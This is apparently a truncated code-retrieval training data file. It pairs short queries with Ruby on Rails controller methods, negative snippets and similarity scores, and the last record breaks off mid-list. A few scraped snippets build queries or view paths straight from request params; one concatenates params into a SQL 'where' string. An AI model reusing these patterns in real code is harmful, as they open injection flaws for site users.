params[:amqp_verify]\n\n @edit[:new][:ssh_keypair_userid] = params[:ssh_keypair_userid] if params[:ssh_keypair_userid]\n @edit[:new][:ssh_keypair_password] = params[:ssh_keypair_password] if params[:ssh_keypair_password]\n\n @edit[:new][:bearer_token] = params[:bearer_token] if params[:bearer_token]\n @edit[:new][:bearer_verify] = params[:bearer_verify] if params[:bearer_verify]\n\n @edit[:new][:host_default_vnc_port_start] = params[:host_default_vnc_port_start] if params[:host_default_vnc_port_start]\n @edit[:new][:host_default_vnc_port_end] = params[:host_default_vnc_port_end] if params[:host_default_vnc_port_end]\n @edit[:new][:default_security_protocol] = params[:default_security_protocol] if params[:default_security_protocol]\n # TODO: (julian) Silly hack until we move Infra over to Angular to be consistant with Cloud\n @edit[:new][:default_security_protocol] = params[:security_protocol] if params[:security_protocol]\n @edit[:new][:amqp_security_protocol] = params[:amqp_security_protocol] if params[:amqp_security_protocol]\n @edit[:new][:realm] = nil if params[:default_security_protocol]\n @edit[:new][:realm] = params[:realm] if params[:realm]\n restore_password if params[:restore_password]\n set_verify_status\n end",
"def initialize_query\n # Fix some strange request environments.\n env_table['REQUEST_METHOD'] ||= 'GET'\n\n # POST assumes missing Content-Type is application/x-www-form-urlencoded.\n if env_table['CONTENT_TYPE'].blank? && env_table['REQUEST_METHOD'] == 'POST'\n env_table['CONTENT_TYPE'] = 'application/x-www-form-urlencoded'\n end\n\n @cookies = CGI::Cookie::parse(env_table['HTTP_COOKIE'] || env_table['COOKIE'])\n @params = {}\n end",
"def new\r\n\r\n @user_attributes = params[:user] ? params[:user]['0'].clone : {}\r\n\r\n @user = User.load_from_params(@user_attributes)\r\n\r\n render(:layout => !request.xhr?)\r\n end",
"def new\n @project = Project.new\n #@project.client_id = params[:client_id]\n @project.applications.build\n @project.client_id = params[:client_id]\n\n @token = (0...50).map{ ('a'..'z').to_a[rand(26)] }.join\n @stale_form_ts = Time.now.to_i\n\n if params[:new]\n session[:new] = true\n end\n \n respond_to do |format|\n if params[:layout]\n format.html { render :layout => false }\n else\n format.html # show.html.erb\n end\n format.json { render json: @project}\n format.js \n end\n \n\n end",
"def get_probe_form\n if (!params[:id].blank?)\n load_service\n return if (@service.blank?)\n else\n @service = Service.new()\n end\n\n # Add custom views paths\n prepend_view_path \"app/views/services\"\n prepend_view_path \"lib/probes/#{params[:probe]}/views\"\n\n respond_to do |format|\n format.js\n end\n end",
"def params ; @params ||= Waves::Request::Query.new( request.query.merge( captured.to_h ) ) ; end",
"def new\n #reset_session\n @location = Location.new\n build\n \n if params[:client_id]\n @location.client = params[:client_id]\n end\n\n if params[:contact_id]\n @location.contact = params[:contact_id]\n @location.client = Contact.where(:id=>@location.contact).first.client_id\n end\n\n if params[:country_id]\n @location.country_id = params[:country_id]\n else\n @location.country_id = 38\n end\n\n if params[:project_id]\n @project = params[:project_id]\n #session[:project] = @project\n end\n \n filter_type\n\n respond_to do |format|\n format.html\n format.json { render json: @location }\n end\n end",
"def initialize_query()\n if (\"POST\" == env_table['REQUEST_METHOD']) and\n %r|\\Amultipart/form-data.*boundary=\\\"?([^\\\";,]+)\\\"?| =~ env_table['CONTENT_TYPE']\n current_max_multipart_length = @max_multipart_length.respond_to?(:call) ? @max_multipart_length.call : @max_multipart_length\n raise StandardError.new(\"too large multipart data.\") if env_table['CONTENT_LENGTH'].to_i > current_max_multipart_length\n boundary = $1.dup\n @multipart = true\n @params = read_multipart(boundary, Integer(env_table['CONTENT_LENGTH']))\n else\n @multipart = false\n @params = CGI.parse(\n case env_table['REQUEST_METHOD']\n when \"GET\", \"HEAD\"\n if defined?(MOD_RUBY)\n Apache::request.args or \"\"\n else\n env_table['QUERY_STRING'] or \"\"\n end\n when \"POST\"\n stdinput.binmode if defined? stdinput.binmode\n stdinput.read(Integer(env_table['CONTENT_LENGTH'])) or ''\n else\n read_from_cmdline\n end.dup.force_encoding(@accept_charset)\n )\n unless Encoding.find(@accept_charset) == Encoding::ASCII_8BIT\n @params.each do |key,values|\n values.each do |value|\n unless value.valid_encoding?\n if @accept_charset_error_block\n @accept_charset_error_block.call(key,value)\n else\n raise InvalidEncoding,\"Accept-Charset encoding error\"\n end\n end\n end\n end\n end\n end\n\n @cookies = CGI::Cookie.parse((env_table['HTTP_COOKIE'] or env_table['COOKIE']))\n end",
"def initialize(ps = {})\n result = ps[:result]\n @entry = result[:entry]\n form = result.form\n # form = ps[:form]\n form_unique_id = form.form\n form_name = form.form_name\n\n @show_fileds = ps[:show_fileds]\n\n @xml_factory = XmlFactory.new(form: form_unique_id)\n # xml_factory.form_keys: xml的生成较久，需要0.03s,所以需要把数据存出来\n @form_fields = xml_factory.form_fields\n @form_keys = xml_factory.form_keys\n\n @default_reject_fields = ['评奖','发票号', '邮寄状态','提交人', '微信头像', '微信OpenID', '微信昵称', '微信性别', '微信国家', '微信省市', '修改时间', 'IP', \"填写设备\", \"操作系统\", \"浏览器\"]\n end",
"def initialize_query\r\n # Fix some strange request environments.\r\n env_table['REQUEST_METHOD'] ||= 'GET'\r\n\r\n # POST assumes missing Content-Type is application/x-www-form-urlencoded.\r\n if env_table['CONTENT_TYPE'].blank? && env_table['REQUEST_METHOD'] == 'POST'\r\n env_table['CONTENT_TYPE'] = 'application/x-www-form-urlencoded'\r\n end\r\n\r\n @cookies = CGI::Cookie::parse(env_table['HTTP_COOKIE'] || env_table['COOKIE'])\r\n @params = {}\r\n end",
"def new\n if params[:type]\n if @form = Form.create(params.slice(:type))\n @form.client = @client\n @form.date_submitted = Date.today\n @form.needs_review = true\n @form.herald = account.sca_name\n @form.heralds_email = account.contact_info\n respond_to do |format|\n format.text { render :text => @form.inspect }\n format.html # new.html.erb \n format.xml { render :xml => @form }\n end\n return\n else\n @error = \"Unknown type: #{params[:type]} from params #{params.inspect}\"\n end\n end\n @client = params[:client_id]\n @types = Form.types\n render :action => 'types'\n end",
"def prov_get_form_vars\n if params[:ids_checked] # User checked/unchecked a tree node\n ids = params[:ids_checked]\n # for some reason if tree is not expanded clicking on radiobuttons this.getAllChecked() sends up extra blanks\n @edit.store_path(:new, tag_symbol_for_workflow, ids.select(&:present?).collect(&:to_i))\n end\n id = params[:ou_id].gsub(/_-_/, \",\") if params[:ou_id]\n @edit[:new][:ldap_ous] = id.match(/(.*)\\,(.*)/)[1..2] if id # ou selected in a tree\n\n copy_params_if_present(@edit[:new], params, %i[start_hour start_min])\n @edit[:new][:start_date] = params[:miq_date_1] if params[:miq_date_1]\n @edit[:new][:schedule_time] = Time.zone.parse(\"#{@edit[:new][:start_date]} #{@edit[:new][:start_hour]}:#{@edit[:new][:start_min]}\")\n\n params.each do |key, _value|\n next unless key.include?(\"__\")\n\n d, f = key.split(\"__\") # Parse dialog and field names from the parameter key\n field = @edit[:wf].get_field(f.to_sym, d.to_sym) # Get the field hash\n val =\n case field[:data_type] # Get the value, convert to integer or boolean if needed\n when :integer\n params[key].to_i\n when :boolean\n params[key].to_s == \"true\"\n else\n params[key]\n end\n\n if field[:values] # If a choice was made\n if field[:values].kind_of?(Hash)\n # set an array of selected ids for security groups field\n if f == \"security_groups\"\n if params[key] == \"\"\n @edit[:new][f.to_sym] = [nil]\n else\n @edit[:new][f.to_sym] = []\n params[key].split(\",\").each { |v| @edit[:new][f.to_sym].push(v.to_i) }\n end\n elsif f == \"cloud_volumes\"\n if params[key] == \"\"\n @edit[:new][f.to_sym] = [nil]\n else\n @edit[:new][f.to_sym] = []\n params[key].split(\",\").each { |v| @edit[:new][f.to_sym].push(v) }\n end\n else\n @edit[:new][f.to_sym] = [val, field[:values][val]] # Save [value, description]\n end\n else\n field[:values].each do |v|\n evm_object_class = v.try(:evm_object_class)\n if evm_object_class == :Storage\n if %w[miq_template service_template vm].include?(@edit[:org_controller])\n if params[key] == \"__DS__NONE__\" # Added this to deselect datastore in grid\n @edit[:new][f.to_sym] = [nil, nil] # Save [value, description]\n elsif v.id.to_i == val.to_i\n @edit[:new][f.to_sym] = [val, v.name] # Save [value, description]\n end\n elsif params[key] == \"__DS__NONE__\" # Added this to deselect datastore in grid\n @edit[:new][f.to_sym] = [] # Save [value, description]\n elsif v.id.to_i == val.to_i\n if @edit[:new][f.to_sym].include?(val)\n @edit[:new][f.to_sym].delete_if { |x| x == val }\n else\n @edit[:new][f.to_sym].push(val) # Save [value, description]\n end\n end\n elsif evm_object_class == :Host\n if params[key] == \"__HOST__NONE__\" # Added this to deselect datastore in grid\n @edit[:new][f.to_sym] = [nil, nil] # Save [value, description]\n elsif v.id.to_i == val.to_i\n @edit[:new][f.to_sym] = [val, v.name] # Save [value, description]\n end\n elsif evm_object_class == :Vm\n if params[key] == \"__VM__NONE__\" # Added this to deselect datastore in grid\n @edit[:new][f.to_sym] = [nil, nil] # Save [value, description]\n elsif v.id.to_i == val.to_i\n @edit[:new][f.to_sym] = [val, v.name] # Save [value, description]\n end\n elsif evm_object_class == :PxeImage || evm_object_class == :WindowsImage\n if params[key] == \"__PXE_IMG__NONE__\" # Added this to deselect datastore in grid\n @edit[:new][f.to_sym] = [nil, nil] # Save [value, description]\n elsif v.id == val\n @edit[:new][f.to_sym] = [val, v.name] # Save [value, description]\n end\n elsif evm_object_class == :IsoImage\n if params[key] == \"__ISO_IMG__NONE__\" # Added this to deselect datastore in grid\n @edit[:new][f.to_sym] = [nil, nil] # Save [value, description]\n elsif v.id == val\n @edit[:new][f.to_sym] = [val, v.name] # Save [value, description]\n end\n elsif evm_object_class == :CustomizationTemplate\n if params[key] == \"__TEMPLATE__NONE__\" # Added this to deselect datastore in grid\n @edit[:new][f.to_sym] = [nil, nil] # Save [value, description]\n elsif v.id.to_i == val.to_i\n @edit[:new][f.to_sym] = [val, v.name] # Save [value, description]\n end\n elsif evm_object_class == :CustomizationSpec\n if params[key] == \"__VC__NONE__\" # Added this to deselect custom_spec in grid\n @edit[:new][f.to_sym] = [nil, nil] # Save [value, description]\n elsif v.id.to_i == val.to_i\n @edit[:new][f.to_sym] = [val, v.name] # Save [value, description]\n end\n elsif v[1].to_i == val.to_i\n @edit[:new][f.to_sym] = [val, v[0]] # Save [value, description]\n end\n end\n end\n begin\n @edit[:wf].refresh_field_values(@edit[:new])\n rescue StandardError => bang\n add_flash(bang.message, :error)\n @edit[:new][f.to_sym] = val # Save value\n # No need to refresh dialog divs\n return false\n else\n return true\n end\n else\n @edit[:new][f.to_sym] = val # Save value\n # No need to refresh dialog divs\n return false\n end\n end\n end",
"def find_login_form_from_request( request )\n return if (params = request_parse_body( request.body )).empty?\n\n f = session.find_login_form(\n pages: @pages.to_a,\n action: normalize_url( request.url ),\n inputs: params.keys\n )\n\n return if !f\n f.update( params )\n end",
"def new\n @dataset = Dataset.new\n prep_dataset_form\n \n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @dataset }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def load_form\n @symbole = Symbole.new if @symbole.nil?\n if params[:form_name].present?\n respond_to do |format|\n format.js { render \"ajax_form_\"+params[:form_name] }\n end\n end\n end",
"def add_new_task_form\n if params[:note_id].blank?\n @note = Communication.new(:assigned_by_employee_user_id=> params[:lawyer_id])\n else\n @note = Communication.find(params[:note_id])\n end\n @from_edit = params[:from_edit]\n @time_zone = @note.receiver.time_zone\n users = []\n if current_user.belongs_to_front_office\n users = User.all_cluster_livian(@note.clusters)\n @common_pool_user = false\n @back_office_user = false\n elsif current_user.belongs_to_common_pool\n users = Cluster.get_common_pool_livian_users\n @common_pool_user = true\n @back_office_user = false\n elsif current_user.belongs_to_back_office\n users = Cluster.get_back_office_cluster_livians\n @common_pool_user = false\n @back_office_user = true\n end\n @work_types = @back_office_user ? WorkType.back_office_work_types : WorkType.livian_work_types\n first_work_subtype = @work_types.first.work_subtypes.first\n @complexities = first_work_subtype.blank? ? [] : first_work_subtype.work_subtype_complexities\n get_work_subtypes_and_diffentiate_users(users,@work_types)\n render :update do |page|\n page.insert_html :bottom, :new_task_form, :partial=>'task_fields',:locals=>{:index=>params[:task_index]}\n end\n end",
"def form_params\n params.fetch(:form, {})\n end",
"def form; end",
"def new\n @service_request = ServiceRequest.new\n\t@servicegrades = ServiceGrade.all\n\t@curr_menu = \"layouts/hostfamily_menu\"\n\t@curr_layout = \"layouts/user_layout\"\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_request }\n end\n end",
"def initialize\n @params = {}\n end",
"def new\n @contract = Contract.new\n prepFormVariables(@contract)\n\tprepSearchVariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract }\n end\n end",
"def preinitialize_on_first_load(input_document, form_names)\n remedy_context = ArsModels::Context.new(\n :server => get_info_value(input_document, 'server'),\n :username => get_info_value(input_document, 'username'),\n :password => get_info_value(input_document, 'password'),\n :port => get_info_value(input_document, 'port'),\n :prognum => get_info_value(input_document, 'prognum'),\n :authentication => get_info_value(input_document, 'authentication')\n )\n\n # Build up a new configuration\n if @disable_caching\n @config = {\n #:properties => properties,\n :context => remedy_context,\n :forms => form_names.inject({}) do |hash, form_name|\n hash.merge!(form_name => ArsModels::Form.find(form_name, :context => remedy_context))\n end\n }\n else\n @@config = {\n #:properties => properties,\n :context => remedy_context,\n :forms => form_names.inject({}) do |hash, form_name|\n hash.merge!(form_name => ArsModels::Form.find(form_name, :context => remedy_context))\n end\n }\n end\n end",
"def initialize request\n @path = request.path.split('/').slice(1, 100) || []\n @original = @path.dup\n @request = request\n\n set_variables\n set_domain request\n set_format\n end",
"def build(params); end",
"def set_form\n form = params[:form_txt] + \"_form\"\n @tab = params[:tab_id]\n form_hash_for_loan_details if !@loan_hash\n update_respond_to_parent(form,@tab,FLASH_MESSAGES['properties']['406'],nil)\n end",
"def new\n\n\t #new loads the new page, which the user gives the artist name, then it goes to create which creates the artist object.\n\t #then it goes to edit which allow the user to fill in the artist information. Then goes to update where artist info is updated\n @artist = Artist.new\n @artist.profile_layout = ProfileLayout.new\n\n\n\n\n\t@form = render_to_string('artists/_form_new_artist.html.erb',:layout => false)\n logger.info(@form)\n\n\tlayout(params[:layout])\n respond_to do |format|\n format.html # new.html.erb\n\t format.json {\n\t\t render :json => {\n\t\t\t\t :success => true,\n\t\t\t\t :\".bodyArea\" => render_to_string(\n\t\t\t\t\t\t :action => 'new.html.erb',\n\t\t\t\t\t\t :layout => \"layouts/user.html.erb\",\n\t\t\t\t ),\n\t\t\t\t #show/hides edit screen\n\t\t\t\t #:\"edit\" => \"true\"\n\t\t\t\t #sets object type to user. Loads Correct\n\t\t\t\t :\"object_type\" => \"user\"\n\t\t }\n\t }\n end\n end",
"def set_request; end",
"def init_params(params)\n\n @parent_id = params[:parent_id]\n\n @critical_chain_interaction_log = nil\n @client_id = nil\n\n end",
"def new\n @form_to_render = \"form_1\"\n @note = Note.new\n @note.parent_type =@parent_name\n @note.parent_id =@parent_id\n @note.detail_type = 'NoteGeneral'\n @note.detail = NoteGeneral.new\n if params[:type_id].present?\n @form_to_render = \"form_2\"\n\n unless @type_id.nil?\n @note.note_type_id = @type_id\n t = NoteType.find(@type_id)\n if (t.class_name.nil?)\n# @note.detail_type = 'XDocGeneral'\n# @note.detail = XDocGeneral.new\n else\n @note.detail_type = t.class_name\n @note.detail = t.class_name.constantize.new\n end\n end\n else\n @form_to_render = \"form_1\"\n end\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.xml { render :xml => @note }\n end\n\n end",
"def forms; end",
"def initialize(params = {})\n @main_view = params[:main_view]\n end",
"def new\n @request = Request.new\n\n if params[:car_id]\n scope = Car.user_or_admin(current_user)\n car = scope.where(:id => params[:car_id]).first\n if car.present?\n @request.car = car\n else\n raise\n end\n end\n\n messages = @request.messages.build\n message_assets = messages.message_assets.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @request }\n end\n end",
"def new\n @layout = Layout.find(params[:layout_id])\n @layout_field = @layout.layout_fields.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @layout_field }\n end\n end",
"def new\n @filled_form = @form.build_fill\n if current_user\n @filled_form.user = current_user\n @filled_forms = @form.visible_filled_forms(current_user)\n elsif @form.authenticated?\n session[:post_login_path_override] = request.original_url\n #redirect_to new_user_session_url(:protocol => 'https')\n @new_user = User.new\n @devise_mapping ||= Devise.mappings[:user]\n render 'authenticate'\n return\n end\n session[:edit_form_cancel_path] = new_form_fill_path(@form)\n if @form.parent\n @parent_filled_forms = @form.parent.visible_filled_forms(current_user)\n @filled_form.parent = @parent_filled_forms.first\n end\n @payments = @form.payments_for_user(current_user)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @filled_form }\n end\n end",
"def new\n @query = params[:query]\n end",
"def build_request\n b = builder\n build_authentication(b)\n b.instruct!\n \n b.LabelRecoveryRequest do\n b.Request do\n b.RequestAction \"LabelRecovery\"\n end\n \n b.LabelSpecification do\n b.LabelImageFormat do\n b.Code \"GIF\"\n end\n end\n \n b.Translate do\n b.LanguageCode \"eng\"\n b.DialectCode \"US\"\n b.Code \"01\"\n end\n \n b.TrackingNumber tracking_number\n end\n end",
"def request_parameters; end",
"def create_form\n verify_ajax_request\n require_parameters :component\n render :partial => 'issue/create_form'\n end",
"def start_with_default_params!\n default_params = upper(:@@default_params) || {}\n @params.reverse_merge!(default_params)\n end",
"def new\n @request = Request.new\n @title = \"Reservar Libro\"\n @header = @title\n @request.user = current_user\n @request.copy = Copy.find_by_code(params[:code])\n @request.request_date = Date.today\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n update_referer(request.referer, request.original_url)\n if(params[\"param\"] != nil) \n @animal = Animal.where('id = ' + params[\"param\"])\n else\n @animal = []\n end\n @alert = Alert.new\n @types = AlertType.all\n @users = User.where(disabled: false)\n @animals = Animal.all\n\n end",
"def fill_old(params={})\n params.each do |key,value|\n instance_variable_set(\"@#{key}\".to_sym,value)\n end\n self.body = (template).result binding\n self.body\n end",
"def initialize(req, route_params = {})\n @params = {}\n @params = @params.merge(route_params)\n parse_www_encoded_form(req.query_string) if req.query_string\n parse_www_encoded_form(req.body) if req.body\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def post_init\n @request = Request.new\n @response = Response.new\n end"
] |
[
"0.67320037",
"0.635461",
"0.635461",
"0.62069917",
"0.61295956",
"0.61284316",
"0.6102219",
"0.60569906",
"0.60260606",
"0.5974883",
"0.59499466",
"0.59488857",
"0.59432083",
"0.5924008",
"0.58617014",
"0.586131",
"0.585891",
"0.58297026",
"0.5814387",
"0.57734686",
"0.57731587",
"0.57593465",
"0.5737252",
"0.57069343",
"0.5691865",
"0.5687601",
"0.5681244",
"0.56734294",
"0.5647488",
"0.5606525",
"0.56061614",
"0.56004024",
"0.5568418",
"0.5559136",
"0.555423",
"0.5550483",
"0.5544124",
"0.5533809",
"0.5533653",
"0.55289906",
"0.55206025",
"0.551975",
"0.5512653",
"0.55122906",
"0.55032325",
"0.549772",
"0.5496577",
"0.54878",
"0.54855525",
"0.5484415",
"0.54832375",
"0.5479123",
"0.54707164",
"0.5468756",
"0.54678816",
"0.54629266",
"0.54619795",
"0.54602426",
"0.54571927",
"0.5453779",
"0.5453253",
"0.54531395",
"0.54516876",
"0.54475194",
"0.54475194",
"0.54475194",
"0.54475194",
"0.54475194",
"0.5447011",
"0.54407436",
"0.54382735",
"0.54349",
"0.5428646",
"0.5427818",
"0.54173356",
"0.5416236",
"0.5415555",
"0.5403211",
"0.5403024",
"0.53993547",
"0.5394078",
"0.5393358",
"0.53872097",
"0.5386717",
"0.5377539",
"0.5374784",
"0.53743654",
"0.5374228",
"0.5371458",
"0.53692245",
"0.5367978",
"0.53597885",
"0.5357585",
"0.5355483",
"0.5352822",
"0.53504187",
"0.5345195",
"0.53446805",
"0.53446805",
"0.53446805",
"0.53422177"
] |
0.0
|
-1
|
NOTE this will need to be overridden for controller routes that don't uesr permalink
|
def record_to_copy
params[:copy_id] && resource_class.find_by_permalink(params[:copy_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def permalink; end",
"def permalink; end",
"def custom_routes; end",
"def _routes; end",
"def url_for_index; end",
"def url_for_index; end",
"def anchored_routes; end",
"def permalink\n return \"#{uri}\"\n end",
"def to_param\n return permalink if to_param_returns_permalink\n super\n end",
"def permalink_style; end",
"def route_index; end",
"def permalink\n \"/#{object.permalink}\"\n end",
"def controller_path; end",
"def controller_path; end",
"def url\n if self.controller and self.action and self.page_id\n return \"/#{self.controller}/#{self.action}/#{self.page_id}\"\n end\n if self.controller and self.action\n return \"/#{self.controller}/#{self.action}\"\n end\n if self.controller\n return \"/#{self.controller}\"\n end\n return \"/#{self.shortcut}\"\n end",
"def generated_permalink; end",
"def route_name; end",
"def route_name; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def routes; end",
"def external_routes; end",
"def to_param; self.permalink end",
"def url_template; end",
"def url_template; end",
"def url(name, *args)\n return base_controller.url(name, *args) if base_controller\n super\n end",
"def new_resource_url\n send route_prefix_to_method_name(\"new_#{class_name.model_name.singular_route_key}_url\")\n end",
"def to_param\n permalink\n end",
"def to_param\n permalink\n end",
"def permalink\n link(:perma)\n end",
"def to_param\n permalink\n end",
"def name\n permalink\n end",
"def not_found\n raise ActionController::RoutingError.new('Permalink Not Found')\n end",
"def default_return_path\n fail NotImplementedError, 'To be implemented by the concrete topic posts controller.'\n end",
"def named_route; end",
"def current_permalink_url(rails_request=request, umlaut_request=@user_request, options = {})\n # if we don't have everything, we can't make a permalink. \n unless (umlaut_request && umlaut_request.referent &&\n umlaut_request.referent.permalinks &&\n umlaut_request.referent.permalinks[0] )\n\n return nil\n end\n \n return url_for(options.merge({:controller=>\"store\", \n :id=>umlaut_request.referent.permalinks[0].id,\n :only_path => false}) )\n \n end",
"def permalinked\n yield(self)\n end",
"def to_param\n permalink_was\n end",
"def to_param\n permalink_was\n end",
"def routes\n raise NotImplementedError\n end",
"def permalink\n \"/entries/#{slug}\"\n end",
"def named_routes; end",
"def collection_url\n send route_prefix_to_method_name(\"#{class_name.model_name.route_key}_url\")\n end",
"def url\n\n # TODO bug with controllers without models e.g. StaticPages\n if controller_id.blank?\n \"#\"\n elsif instance_id.nil? || instance_id == 0\n url_for :controller => controller_id, :action => action_id, :only_path => true\n else\n # http://stackoverflow.com/questions/5316290/get-model-class-from-symbol\n klass = controller_id.classify.constantize\n if instance_id.present?\n instance = klass.find(instance_id)\n\n if [\"show\"].include? action_id\n polymorphic_path(instance, :only_path => true)\n else\n polymorphic_path(instance, :action => action_id, :only_path => true)\n end\n end\n end\n\n # # Media Link only:\n # # http://stackoverflow.com/questions/5316290/get-model-class-from-symbol\n # klass = controller_id.classify.constantize\n # action_id = 'show'\n # if instance_id.present?\n # instance = klass.find(instance_id)\n\n # if [\"show\"].include? action_id\n # polymorphic_path(instance, :only_path => true)\n # else\n # polymorphic_path(instance, :action => action_id, :only_path => true)\n # end\n # end\n end",
"def url_for_main; end",
"def url_for_main; end",
"def _roda_main_route(_)\n end",
"def url\n super\n end",
"def original_url; end",
"def permalink(item)\n url = url_for(item)\n url.gsub!(/\\.html$/, '') #if url[0].chr == \"/\"\n \n return url\n end",
"def routes_map; end",
"def relative_permalinks_are_deprecated; end",
"def permalink\n link = object.path.gsub(\"::\", \"%2F\")\n link.tr!(\"?\", \"%3F\")\n link.tr!(\"#\", \":\")\n\n \"#{RUBYDOC_URL}/#{link}\"\n end",
"def route\n #TODO\n end",
"def search_path; end",
"def search_path; end",
"def assign_route\n if link_type == 1\n #need to sanitise url if it contains an anchor (as is the case with the home page links)\n url = link_url.dup\n url[/#\\w+/] = '' unless link_url.blank? || link_url[/#\\w+/].nil?\n #\n r = ActionController::Routing::Routes\n r = r.recognize_path(url)\n #\n self.controller = r[:controller]\n self.action = r[:action]\n elsif link_type == 2\n self.controller = 'pages'\n self.action = 'view'\n else\n self.controller = ''\n self.action = ''\n end\n end",
"def index\n # Catch old legacy wordpress routing ?p=####\n post = Post.find_by_id params[:p]\n if post.present?\n redirect_to :action => 'show', :seo_url => post.seo_url\n else\n # Most likely this is the way it will always go.. show me the list\n @posts = PostDecorator.decorate(get_posts Post.order)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end\n\n end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url\n if Henshin.local?\n permalink\n else\n permalink.sub /index\\.html$/, ''\n end\n end",
"def url\n if @url\n @url\n else\n begin\n\n page_name = File.basename(self.name, '.*')\n config = @config['permalinks'][page_name]\n\n if config.is_a? String\n @url = config\n self.data['permalink'] = nil\n else\n @config['permalinks'][File.basename(self.name, '.*')] = self.data['permalink']\n end\n rescue; end\n\n super\n\n if @url && @url =~ /\\/$/\n if self.ext == '.xml'\n @url = File.join(@url, \"index.xml\")\n else\n @url = File.join(@url, \"index.html\")\n end\n end\n\n @url\n end\n end",
"def auto_url_for(resource)\n\n\n\n config = active_admin_resource_for(resource.class)\n\n\n\n return unless config\n\n\n\n\n\n\n\n if config.controller.action_methods.include?(\"show\") &&\n\n\n\n authorized?(ActiveAdmin::Auth::READ, resource)\n\n\n\n url_for config.route_instance_path resource\n\n\n\n elsif config.controller.action_methods.include?(\"edit\") &&\n\n\n\n authorized?(ActiveAdmin::Auth::UPDATE, resource)\n\n\n\n url_for config.route_edit_instance_path resource\n\n\n\n end\n\n\n\n end",
"def url(name, *args)\n return web_controller.url(name, *args) if web_controller\n super\n end",
"def suggest\n raise ActionController::RoutingError.new('Not Found')\n end",
"def controller_name; end",
"def controller_name; end",
"def permalink_style=(_arg0); end",
"def permalink\n project_url(Episode.active, project, host: Rails.application.config.rakismet.url)\n end",
"def url_was\n \"#{self.class.url}/#{slug_was}\"\n end",
"def short\n Rails.application.routes.url_helpers.short_url(short_url: self.short_url)\n end",
"def default_path\n member_posts_path\n end",
"def routing_mismatch\n raise ::ActionController::RoutingError,\"URL not supported\"\n end",
"def url_helpers_module; end",
"def route_name_prefix\n super + \"_#{category_name}\"\n end",
"def default_controller; end"
] |
[
"0.7180377",
"0.7180377",
"0.6761075",
"0.6741748",
"0.6669785",
"0.6669785",
"0.66587895",
"0.6546003",
"0.650777",
"0.65068626",
"0.65063316",
"0.6477632",
"0.64562666",
"0.64562666",
"0.6405864",
"0.63942325",
"0.6319624",
"0.6319624",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6302231",
"0.6274382",
"0.62734604",
"0.62284416",
"0.62284416",
"0.6207545",
"0.6204507",
"0.6203238",
"0.6203238",
"0.6185801",
"0.6165837",
"0.6155263",
"0.61477673",
"0.6138854",
"0.61246336",
"0.61133045",
"0.6098544",
"0.6068402",
"0.6068402",
"0.6037473",
"0.60326225",
"0.60231054",
"0.6014655",
"0.6002897",
"0.5999766",
"0.5999766",
"0.59973675",
"0.59888214",
"0.5983498",
"0.59814674",
"0.59475684",
"0.5938397",
"0.5929155",
"0.59126633",
"0.58855176",
"0.58855176",
"0.5850987",
"0.5841418",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.58311564",
"0.5828291",
"0.58210886",
"0.5810131",
"0.58060455",
"0.58024174",
"0.5793999",
"0.5793999",
"0.5790766",
"0.5778236",
"0.5761072",
"0.57531655",
"0.5734722",
"0.57299185",
"0.5728839",
"0.57217586",
"0.5710561"
] |
0.0
|
-1
|
GET /alternativas GET /alternativas.json
|
def index
@alternativas = Alternativa.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @alternativos = Alternativo.all\n end",
"def set_alternativa\n @alternativa = Alternativa.find(params[:id])\n end",
"def set_alternativa\n @alternativa = Alternativa.find(params[:id])\n end",
"def set_alternativo\n @alternativo = Alternativo.find(params[:id])\n end",
"def index\n @alternativas = Alternativa.find(:all, :include => [:caracteristica], :order => \"Caracteristicas.nome, Alternativas.nome\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @alternativas }\n end\n end",
"def show\n @alternativa = Alternativa.find(params[:id])\n @caracteristica = @alternativa.caracteristica\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @alternativa }\n end\n end",
